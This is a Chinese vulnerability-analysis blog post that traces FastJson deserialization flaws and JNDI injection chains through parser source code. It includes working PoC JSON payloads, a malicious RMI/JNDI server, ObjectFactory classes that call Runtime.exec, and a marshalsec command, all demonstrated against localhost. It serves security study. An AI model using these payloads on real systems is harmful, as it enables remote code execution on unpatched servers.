扫码领资料
获黑客教程
免费&进群
这篇文章大致分析了一些FastJson历史版本的漏洞以及配合JDNI注入的利用,但也只是笔者认为比较好利用的几个gadget。在48后大多需要开autotype才能利用的链其实都大同小异,所以只分析了CVE-2019-14540
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.53</version>
</dependency>
建立一个用户类,实现Setter和getter方法
package FastJson;
public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
}
调用com.alibaba.fastjson.JSON
将JSON文本解析为对象,其中组件名为FastJson.User
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Victim {
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"
FastJson.User\",\"name\":\"hpdoger\", \"age\":18}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
//User user = (User) JSON.parse(userInfo);//只会调用setXX方法
//System.out.println(user.getName());
}
}
对于parse的函数有些要注意的:
JSON.parseObject调用全部属性的getXX方法,和设置属性的setXX方法
JSON.parse只会调用setXX方法,不会自动调用getXX
是否调用setXX方法,是根据JSON字符串中是否有相应的字段决定的。如果去掉age
字段则不会调用setAge方法。
从v1.2.25开始,fastjson默认关闭了autotype支持,只加载白名单中的类。这里本地1.53环境自然默认没有AutoType,走一遍解析JSON的主要操作。
以调用parseObject(evil.obj)为例,经过几个parse的重载后进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
处理逻辑,对for(;;)循环中每一次获取到的key值进行判断,若为@type
则进行实例加载的逻辑
typeName
的值从lexer.scanSymbol(symbolTable, '"')
获取,在scanSymbol内部的逻辑中,还对组件名进行了16进制解码的处理(如下),因此可以将组件名进行16进制编码绕过一些Filter,空指针2019的空开赛就有这样的利用。
case '\\': // 92
hash = 31 * hash + (int) '\\';
putChar('\\');
break;
case 'x':
char x1 = ch = next();
char x2 = ch = next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char) x_val;
hash = 31 * hash + (int) x_char;
putChar(x_char);
break;
case 'u':
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
hash = 31 * hash + val;
putChar((char) val);
break;
获取组件名typename后跟进config.checkAutoType
函数
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (autoTypeSupport || expectClassFlag) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
}
可以看到如果开启了autotype
或expectClassFlag
,则会先从acceptHashCodes
(白名单)中检索组件,存在即返回。否则再从denyHashCodes
(黑名单)检索,存在就exit,而黑名单是根据denyHashCodes
列表作为判断,每个hash对应的组件名见github:fastjson-blacklist
代码继续向下走,进入关键的一步。由于我们利用的组件不在白名单中,此处的clazz==null依然成立,但是autoTypeSupport || jsonType || expectClassFlag
三者皆为false,无法进入判断,自然也不会对组件进行loadClass
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
也就是当不开启autoType
,即使依赖存在也就会抛出如下的错误
因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。
设置ParserConfig.global.setAutoTypeSupport(true);
,前面的操作和关闭aotutype相同,直接将断点下在TypeUtils.loadClass
并跟进
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
由于我们mappings里没有缓存,clazz依然为null,代码继续向下走判断className
若包含”L”则去除后重新TypeUtils.loadClass
。这里要提一下FJ1.2.25-1.2.41
的版本存在的问题,在这些版本的FJ中,com.alibaba.fastjson.parser.ParserConfig
的逻辑如下
默认没有autoType,但是先进行了黑名单比对后再TypeUtils.loadClass
,而在TypeUtils.loadClass
中可以将”L”除去导致上一步的黑名单bypass。例如Lcom.sun.rowset.JdbcRowSetImpl
最终被处理成为loadClass的参数:com.sun.rowset.JdbcRowSetImpl
言归正传,我们继续向下分析1.53的TypeUtils.loadClass
流程(如下代码)
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
在通过Thread.currentThread().getContextClassLoader()
获取了当前线程上下文的ClassLoader
之后,就可以进行真正的ClassLoader.loadClass
操作将”com.xxx”加载进JVM
到这里clazz已经成功获取为组件的Class实例了,接下来就是对Class的反序列化操作deserializer.deserialze(this, clazz, fieldName)
后调用set
方法,而在set
方法里常常有lookup
的调用导致JNDI注入
maven直接加1.2.24
JDK 8u92
无需开启autotype
demo如下。这是FJ最通用也是最早的攻击链,组件com.sun.rowset.JdbcRowSetImpl
非外部依赖,利用性要好的多,在FJ后续利用bypass大部分基于此组件的利用。
package FastJson;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class Demo124 {
public static void main(String[] args) {
String poc1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
JSON.parseObject(poc1);
}
}
漏洞点在于jdbc实现connect的函数中调用了lookup
且this.getDataSourceName()
可以通过setDataSourceName
方法设置,很简单就不做过多分析了。
无需autotype
JDK 8u92
poc如下,前文”#开启autotype”部分已经分析,在loadClass
的时候会循环replaceL;
绕过黑名单
"{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}"
无需外部依赖
JDK 8u92
无需autotype
demo
package FastJson;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class Demo124 {
public static void main(String[] args) {
String poc2 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]";
JSON.parseObject(poc2);
}
}
可以看到POC里是数组的形式,一共有两个@type值。依然从parseObject
逻辑开始跟,遍历第一个@type时,获取的clazz
为class java.lang.Class
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
跟进deserializer.deserialze
,此时lexer.token()
为LITERAL_STRING
,所以我们要保证payload第一个键值为“val”,否则抛出异常
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
...//
Object objVal;
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
objVal = parser.parse();
strVal = (String) objVal;
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader());
}
经过parser
函数解析获取“val”的键值,当前strVal
为com.sun.rowset.JdbcRowSetImpl
,同时clazz
\==Class.class
,将strVal
带入TypeUtils.loadClass
处理,这里两参数的loadClass在内部调用了三参数的loadClass,并且cache默认为true
从下图可以看出,三参数的loadClass在cache开启时,将com.sun.rowset.JdbcRowSetImpl
Class实例组成的键值对写入mappings
所以遍历数组的第二个@type
值时,在ParserConfig.java#checkAutoType
中从mappings
里加载缓存过的组件com.sun.rowset.JdbcRowSetImpl
,之后就是常规的setDataSourceName#lookup
利用
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//TypeUtils.java
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
这个漏洞核心点还是在于当@type
值为java.lang.Class
时,会通过TypeUtils.loadClass
加载其属性名并且缓存。搜索一下发现也只有这样的逻辑才能调用两参数的TypeUtils.loadClass
,整个利用还是比较有趣的。
这个需要开启autotype,看看分析就好
com.zaxxer.hikari.HikariConfig组件
maven直接加1.2.53的依赖(<1.2.60都可)
JDK 8u92
需要开启autotype
坑点:本地jkd 8u211会因为版本过高而无法进行JDNI注入,7u80会因为版本过低而无法反射调用com.zaxxer.hikari.HikariConfig
。
上文提到在解析JSON文本为对象后,会调用对象的set方法,在com.zaxxer.hikari.HikariConfig
这个组件的setMetricRegistry
方法中调用了getObjectOrPerformJndiLookup
方法,且metricRegistry
字段在JSON文本中可控。
继续跟进getObjectOrPerformJndiLookup
方法发现调用了initCtx.lookup
,存在JDNI注入,只需要控制metricRegistry
字段指向攻击者的RMI-Server,即可绑定JDNI Reference(攻击手段介绍参考JNDI注入)。
maven直接加1.2.68的依赖
JDK 8u92
无需开启autotype
Demo168.java
package FastJson;
import com.alibaba.fastjson.JSON;
public class Demo168 {
public static void main(String[] args) {
String poc2 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"Factory.Evil\", \"name\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}";
JSON.parseObject(poc2);
}
}
Factory.Evil.java
package Factory;
import java.io.IOException;
public class Evil implements java.lang.AutoCloseable{
private String name;
public void setName(String cmd){
try{
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
依然是解析的入口com/alibaba/fastjson/parser/DefaultJSONParser.java
跟起
public final Object parseObject(final Map object, Object fieldName) {
...
if (!allDigits) {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
lexer.nextToken(JSONToken.COMMA);
...
}
parseObject
调用config.checkAutoType
解析第一个@type指向的组件时,可以从TypeUtils.mappings
里找到并返回
返回clazz后lexer指向下一个Token(也就是字符),获取反序列化器JavaBeanDeserializer
后进行JSON反序列化操作
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
继续跟进JavaBeanDeserializer.deserialze
,根据token值获取第二个@type组件值并赋值给typeName
,此时的type为进入函数伊始的参数interface java.lang.AutoCloseable
,获取expectClass
为其Class实例
protected <T> T deserialze(DefaultJSONParser parser, //
Type type, //
Object fieldName, //
Object object, //
int features, //
int[] setFlags) {
int token = lexer.token();
key = lexer.scanSymbol(parser.symbolTable);
String typeName = lexer.stringVal();
....
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
接着跟进config.checkAutoType
解析第二个@type组件,这一次由于expectClass
存在且不为下述任意实例,因此expectClassFlag
赋值为true。
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
我们在上文”#开启autotype”已经分析过,48版本以后会经过如下代码三个变量的检测判断是否可以loadClass
,那么这里就创造了expectClassFlag
变量这一条件
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
在checkAutotype
函数最后用isAssignableFrom
判断第二个@type指向的组件是否为expectClass
的子类或子接口,否则抛出Error。这也就是该利用链最大的限制,需要从下列类的子类或子接口中找到一个可利用的set
或get
方法
白名单(符合白名单条件的类)
TypeUtils.mappings (符合缓存映射中获取的类)
typeMapping (ParserConfig中本身带有的集合)
deserializers (符合反序列化器的类)
由于需要在子类或子接口中找利用,几乎没有可用的JNDI点,能利用的点多在于写文件。具体的poc参考threedr3am
Server
package jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class JNDIServer {
public static void main(String[] args) throws Exception{
String url = "http://127.0.0.1:7777/";
// 对象的工厂类名
String className = "Factory.Exploit";
// 监听RMI服务端口
LocateRegistry.createRegistry(1099);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
// 转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind("rmi://127.0.0.1:1099/Exploit", referenceWrapper);
System.out.println("RMI服务启动成功");
}
}
Factory.Exploit.java如下,编译成class或jar后放代理服务上(我选择用python3 -m http.server 7777
放到/Factory/Exploit.class)
package Factory;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
恶意工厂类编译、放置与上述操作相同,要注意如果自己创建JNDI SPI Server,那么绑定到codebase上的类名可以自定义包结构,也就是增加package
名。但是marshasec转发到codebase上的恶意类,必须要求无任何package
启动RMI-Server
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/\#MExploit 1099
MExploit.java如下,不允许有包名
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class MExploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
为了防止自己咕咕咕,挖个坑下一篇文章好好分析
吐槽一句,各种汇总exp的文章中对于某些特定版本的利用条件(例如是否需要开启autotype)很多都是错的,至少在我分析到47的时候,FastJson对于autotype这一选项的依赖程度还不是那么离谱。但是跟到48版本以后,几乎就绕不过这一选项了。
原文地址:https://hpdoger.cn/2021/01/12/title: 纵览FastJson关键历史版本的JNDI注入/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
看到这里了,点个“赞”、“再看”吧
文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!